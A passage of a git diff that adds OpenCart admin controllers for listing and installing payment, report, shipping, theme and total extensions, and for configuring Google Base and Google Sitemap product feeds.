+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/payment');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('payment', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/payment/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/payment/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/payment/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/payment');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('payment', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/payment/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['text_hide_payment'] = sprintf($this->language->get('text_hide_payment'), $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'], true));
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('payment');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/payment/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/payment/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('payment', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/payment/*.php');
+
+ $this->load->model('user/user_group');
+
+ $user_group_info = $this->model_user_user_group->getUserGroup($this->user->getGroupId());
+
+ if(isset($user_group_info['permission']['hiden'])) {
+ $hiden = $user_group_info['permission']['hiden'];
+ } else {
+ $hiden = array();
+ }
+
+ $data['hiden'] = false;
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ if (!in_array('extension/payment/' . $extension, $hiden)) {
+ $this->load->language('extension/payment/' . $extension, 'extension');
+
+ $text_link = $this->language->get('extension')->get('text_' . $extension);
+
+ if ($text_link != 'text_' . $extension) {
+ $link = $text_link;
+ } else {
+ $link = '';
+ }
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'link' => $link,
+ 'status' => $this->config->get('payment_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('payment_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/payment/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/payment/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/payment/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ } else {
+ $data['hiden'] = true;
+ }
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $this->response->setOutput($this->load->view('extension/extension/payment', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/payment')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/report.php b/public/admin/controller/extension/extension/report.php
new file mode 100644
index 0000000..ce0ad5f
--- /dev/null
+++ b/public/admin/controller/extension/extension/report.php
@@ -0,0 +1,112 @@
+load->language('extension/extension/report');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/report');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('report', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/report/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/report/' . $this->request->get['extension']);
+
+ $this->load->controller('extension/report/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/report');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('report', $this->request->get['extension']);
+
+ $this->load->controller('extension/report/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('report');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/report/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/report/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('report', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/report/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/report/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('report_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('report_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/report/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/report/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/report/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/report', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/report')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/shipping.php b/public/admin/controller/extension/extension/shipping.php
new file mode 100644
index 0000000..10954de
--- /dev/null
+++ b/public/admin/controller/extension/extension/shipping.php
@@ -0,0 +1,145 @@
+load->language('extension/extension/shipping');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/shipping');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('shipping', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/shipping/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/shipping/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/shipping/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/shipping');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('shipping', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/shipping/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['text_hide_shipping'] = sprintf($this->language->get('text_hide_shipping'), $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'], true));
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('shipping');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/shipping/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/shipping/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('shipping', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/shipping/*.php');
+
+ $this->load->model('user/user_group');
+ $user_group_info = $this->model_user_user_group->getUserGroup($this->user->getGroupId());
+ if(isset($user_group_info['permission']['hiden'])) {
+ $hiden = $user_group_info['permission']['hiden'];
+ } else {
+ $hiden = array();
+ }
+ $data['hiden'] = false;
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ if (!in_array('extension/shipping/' . $extension, $hiden)) {
+ $this->load->language('extension/shipping/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('shipping_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('shipping_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/shipping/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/shipping/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/shipping/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ } else {
+ $data['hiden'] = true;
+ }
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/shipping', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/shipping')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/theme.php b/public/admin/controller/extension/extension/theme.php
new file mode 100644
index 0000000..960f8f9
--- /dev/null
+++ b/public/admin/controller/extension/extension/theme.php
@@ -0,0 +1,131 @@
+load->language('extension/extension/theme');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/feed');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('theme', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/theme/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/theme/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/theme/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/theme');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('theme', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/theme/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('theme');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/theme/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/theme/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('theme', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('setting/setting');
+
+ $stores = $this->model_setting_store->getStores();
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/theme/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/theme/' . $extension, 'extension');
+
+ $store_data = array();
+
+ $store_data[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'edit' => $this->url->link('extension/theme/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=0', true),
+ 'status' => $this->config->get('theme_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+
+ foreach ($stores as $store) {
+ $store_data[] = array(
+ 'name' => $store['name'],
+ 'edit' => $this->url->link('extension/theme/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $store['store_id'], true),
+ 'status' => $this->model_setting_setting->getSettingValue('theme_' . $extension . '_status', $store['store_id']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+ }
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'install' => $this->url->link('extension/extension/theme/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/theme/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'store' => $store_data
+ );
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/theme', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/theme')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/total.php b/public/admin/controller/extension/extension/total.php
new file mode 100644
index 0000000..01732a1
--- /dev/null
+++ b/public/admin/controller/extension/extension/total.php
@@ -0,0 +1,122 @@
+load->language('extension/extension/total');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/total');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('total', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/total/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/total/' . $this->request->get['extension']);
+
+ $this->load->controller('extension/total/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/total');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('total', $this->request->get['extension']);
+
+ $this->load->controller('extension/total/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('total');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/total/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/total/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('total', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/total/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/total/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('total_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('total_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/total/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/total/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/total/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $this->response->setOutput($this->load->view('extension/extension/total', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/total')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/feed/google_base.php b/public/admin/controller/extension/feed/google_base.php
new file mode 100644
index 0000000..523f013
--- /dev/null
+++ b/public/admin/controller/extension/feed/google_base.php
@@ -0,0 +1,243 @@
+load->language('extension/feed/google_base');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('feed_google_base', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/google_base', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/google_base', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/google_base';
+
+ if (isset($this->request->post['feed_google_base_status'])) {
+ $data['feed_google_base_status'] = $this->request->post['feed_google_base_status'];
+ } else {
+ $data['feed_google_base_status'] = $this->config->get('feed_google_base_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/google_base', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_base')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function install() {
+ $this->load->model('extension/feed/google_base');
+
+ $this->model_extension_feed_google_base->install();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/feed/google_base');
+
+ $this->model_extension_feed_google_base->uninstall();
+ }
+
+ public function import() {
+ $this->load->language('extension/feed/google_base');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_base')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ if (!empty($this->request->files['file']['name']) && is_file($this->request->files['file']['tmp_name'])) {
+ // Sanitize the filename
+ $filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
+
+ // Allowed file extension types
+ if (utf8_strtolower(utf8_substr(strrchr($filename, '.'), 1)) != 'txt') {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Allowed file mime types
+ if ($this->request->files['file']['type'] != 'text/plain') {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Return any upload error
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+ }
+
+ if (!$json) {
+ $json['success'] = $this->language->get('text_success');
+
+ $this->load->model('extension/feed/google_base');
+
+ // Get the contents of the uploaded file
+ $content = file_get_contents($this->request->files['file']['tmp_name']);
+
+ $this->model_extension_feed_google_base->import($content);
+
+ unlink($this->request->files['file']['tmp_name']);
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function category() {
+ $this->load->language('extension/feed/google_base');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['google_base_categories'] = array();
+
+ $this->load->model('extension/feed/google_base');
+
+ $results = $this->model_extension_feed_google_base->getCategories(($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['google_base_categories'][] = array(
+ 'google_base_category_id' => $result['google_base_category_id'],
+ 'google_base_category' => $result['google_base_category'],
+ 'category_id' => $result['category_id'],
+ 'category' => $result['category']
+ );
+ }
+
+ $category_total = $this->model_extension_feed_google_base->getTotalCategories();
+
+ $pagination = new Pagination();
+ $pagination->total = $category_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('extension/feed/google_base/category', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($category_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($category_total - 10)) ? $category_total : ((($page - 1) * 10) + 10), $category_total, ceil($category_total / 10));
+
+ $this->response->setOutput($this->load->view('extension/feed/google_base_category', $data));
+ }
+
+ public function addCategory() {
+ $this->load->language('extension/feed/google_base');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_base')) {
+ $json['error'] = $this->language->get('error_permission');
+ } elseif (!empty($this->request->post['google_base_category_id']) && !empty($this->request->post['category_id'])) {
+ $this->load->model('extension/feed/google_base');
+
+ $this->model_extension_feed_google_base->addCategory($this->request->post);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function removeCategory() {
+ $this->load->language('extension/feed/google_base');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_base')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('extension/feed/google_base');
+
+ $this->model_extension_feed_google_base->deleteCategory($this->request->post['category_id']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('extension/feed/google_base');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ $filter_data = array(
+ 'filter_name' => html_entity_decode($filter_name, ENT_QUOTES, 'UTF-8'),
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_extension_feed_google_base->getGoogleBaseCategories($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'google_base_category_id' => $result['google_base_category_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/extension/feed/google_sitemap.php b/public/admin/controller/extension/feed/google_sitemap.php
new file mode 100644
index 0000000..38c96dc
--- /dev/null
+++ b/public/admin/controller/extension/feed/google_sitemap.php
@@ -0,0 +1,69 @@
+load->language('extension/feed/google_sitemap');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('feed_google_sitemap', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/google_sitemap', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/google_sitemap', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ if (isset($this->request->post['feed_google_sitemap_status'])) {
+ $data['feed_google_sitemap_status'] = $this->request->post['feed_google_sitemap_status'];
+ } else {
+ $data['feed_google_sitemap_status'] = $this->config->get('feed_google_sitemap_status');
+ }
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/google_sitemap';
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/google_sitemap', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_sitemap')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/feed/google_sitemap_fast.php b/public/admin/controller/extension/feed/google_sitemap_fast.php
new file mode 100644
index 0000000..a898eaa
--- /dev/null
+++ b/public/admin/controller/extension/feed/google_sitemap_fast.php
@@ -0,0 +1,69 @@
+load->language('extension/feed/google_sitemap_fast');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('feed_google_sitemap_fast', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
